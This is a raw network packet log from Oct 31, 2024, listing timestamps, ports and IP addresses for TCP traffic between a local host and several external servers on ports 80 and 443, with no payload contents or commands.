Oct 31, 2024 03:04:33.428841114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428847075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428884983 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428927898 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428945065 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428958893 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428972960 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428973913 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428986073 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428998947 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.429006100 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.429019928 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.429033041 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.429033995 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.429064035 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.429088116 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.437325954 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.437338114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.437347889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.437380075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.437407970 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.438657045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438669920 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438680887 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438694000 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438707113 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.438711882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438724041 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438738108 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.438740015 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438750982 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438776970 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.438796997 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.438889980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438900948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438911915 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438924074 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438934088 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.438944101 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438947916 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.438955069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438966036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438981056 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.438987017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.438997984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439013004 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439043999 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439043999 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439054966 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439107895 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439165115 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439173937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439183950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439196110 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439205885 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439213991 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439254999 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439284086 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439294100 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439305067 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439332962 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439337015 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439342022 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439348936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439388037 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439400911 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439446926 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439459085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439476013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439487934 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439500093 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439522982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439636946 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439647913 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439657927 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439668894 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439680099 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439702988 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439714909 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439944029 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439955950 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439965963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.439989090 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.439996958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440007925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440017939 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440021038 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440030098 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440042019 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440062046 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440079927 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440181017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440198898 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440212011 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440222979 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440224886 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440234900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440263033 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440290928 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440346956 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440357924 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440406084 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440423012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440463066 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440463066 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440504074 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440511942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440530062 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440543890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440556049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440557003 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440567017 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440577030 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440601110 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440623999 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.440767050 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.440814018 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.444416046 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.444468021 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.471647978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471662045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471672058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471709967 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471719980 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471729994 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471740007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471750975 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471801996 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.471853971 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.471956015 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471967936 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.471977949 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.472012997 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.472024918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.939359903 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:33.939460993 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:33.939527988 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:33.939682961 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:33.939693928 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:34.622503996 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:34.622556925 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:34.622800112 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:34.623164892 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:34.623193026 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:35.228650093 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:35.228756905 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:35.230043888 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:35.230057001 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:35.230319977 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:35.231544971 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:35.231648922 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:35.231668949 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:35.652256966 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:35.652347088 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:35.652400017 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:35.652657986 CET	63933	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:35.652687073 CET	443	63933	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:35.715682983 CET	63879	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:35.716319084 CET	63939	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:35.720977068 CET	80	63879	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:35.721041918 CET	63879	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:35.721060991 CET	80	63939	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:35.721129894 CET	63939	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:35.721277952 CET	63939	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:35.725999117 CET	80	63939	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:36.157306910 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.157380104 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.157464027 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.157735109 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.157768011 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.630203962 CET	80	63939	185.215.113.43	192.168.2.4
Oct 31, 2024 03:04:36.630414009 CET	63939	80	192.168.2.4	185.215.113.43
Oct 31, 2024 03:04:36.636255026 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:36.636594057 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:36.642740965 CET	63947	80	192.168.2.4	185.215.113.206
Oct 31, 2024 03:04:36.642945051 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:36.643019915 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:36.643166065 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:36.643755913 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:36.643810987 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:36.648502111 CET	80	63947	185.215.113.206	192.168.2.4
Oct 31, 2024 03:04:36.648513079 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:36.648571968 CET	63947	80	192.168.2.4	185.215.113.206
Oct 31, 2024 03:04:36.648685932 CET	63947	80	192.168.2.4	185.215.113.206
Oct 31, 2024 03:04:36.653597116 CET	80	63947	185.215.113.206	192.168.2.4
Oct 31, 2024 03:04:36.767559052 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.767637968 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.769069910 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.769088030 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.769345999 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.773998976 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.774951935 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.775002003 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.775161028 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.775207043 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.775374889 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.775430918 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.775621891 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.775672913 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.775899887 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.775957108 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.776186943 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.776227951 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.776247025 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.776276112 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.776395082 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.776443958 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.776485920 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.776506901 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.776617050 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.776659966 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.799228907 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.799487114 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.799547911 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.799606085 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.799642086 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:36.799711943 CET	63943	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:36.804270029 CET	443	63943	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:37.539694071 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.539773941 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.539807081 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.539849043 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.539869070 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.539885044 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.539921045 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.539930105 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.539962053 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.539995909 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.540029049 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.540035963 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.540066004 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.540071964 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.540106058 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.540133953 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.540169001 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.540177107 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.540210009 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.544904947 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.544960976 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.545012951 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.545027018 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.545072079 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.565493107 CET	80	63947	185.215.113.206	192.168.2.4
Oct 31, 2024 03:04:37.566570997 CET	63947	80	192.168.2.4	185.215.113.206
Oct 31, 2024 03:04:37.569046974 CET	63947	80	192.168.2.4	185.215.113.206
Oct 31, 2024 03:04:37.573904991 CET	80	63947	185.215.113.206	192.168.2.4
Oct 31, 2024 03:04:37.692538023 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.692595959 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.692601919 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.692627907 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.692646980 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.692671061 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.692682028 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.692756891 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.692791939 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.692811966 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.692826033 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.692852020 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.692867994 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.693214893 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.693268061 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.693289995 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.693325043 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.693344116 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.693358898 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.693392038 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.693409920 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.698367119 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.698400974 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.698434114 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.698465109 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.698502064 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.809180021 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809236050 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809271097 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809307098 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.809329033 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.809604883 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809640884 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809678078 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809688091 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.809735060 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809770107 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809782982 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.809804916 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.809850931 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.814851046 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.814922094 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.814955950 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.814975023 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.814999104 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.858531952 CET	80	63947	185.215.113.206	192.168.2.4
Oct 31, 2024 03:04:37.858608007 CET	63947	80	192.168.2.4	185.215.113.206
Oct 31, 2024 03:04:37.925659895 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.925697088 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.925751925 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.925766945 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.925786972 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.925805092 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.925822973 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.925843000 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.925856113 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.925865889 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.925899029 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.926333904 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.926384926 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.926386118 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.926420927 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.926430941 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.926465034 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.926467896 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.926503897 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.926512957 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.926552057 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.931947947 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.932002068 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.932035923 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.932068110 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.932070971 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:37.932101011 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:37.932128906 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.042313099 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.042366982 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.042392969 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.042399883 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.042429924 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.042438030 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.042454004 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.042474985 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.042476892 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.042552948 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.042931080 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.042963982 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.042984962 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.043004036 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.043015003 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.043032885 CET	80	63946	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:38.043057919 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.043081045 CET	63946	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:38.048500061 CET	80	63946	185.215.113.16	192.168.2.4
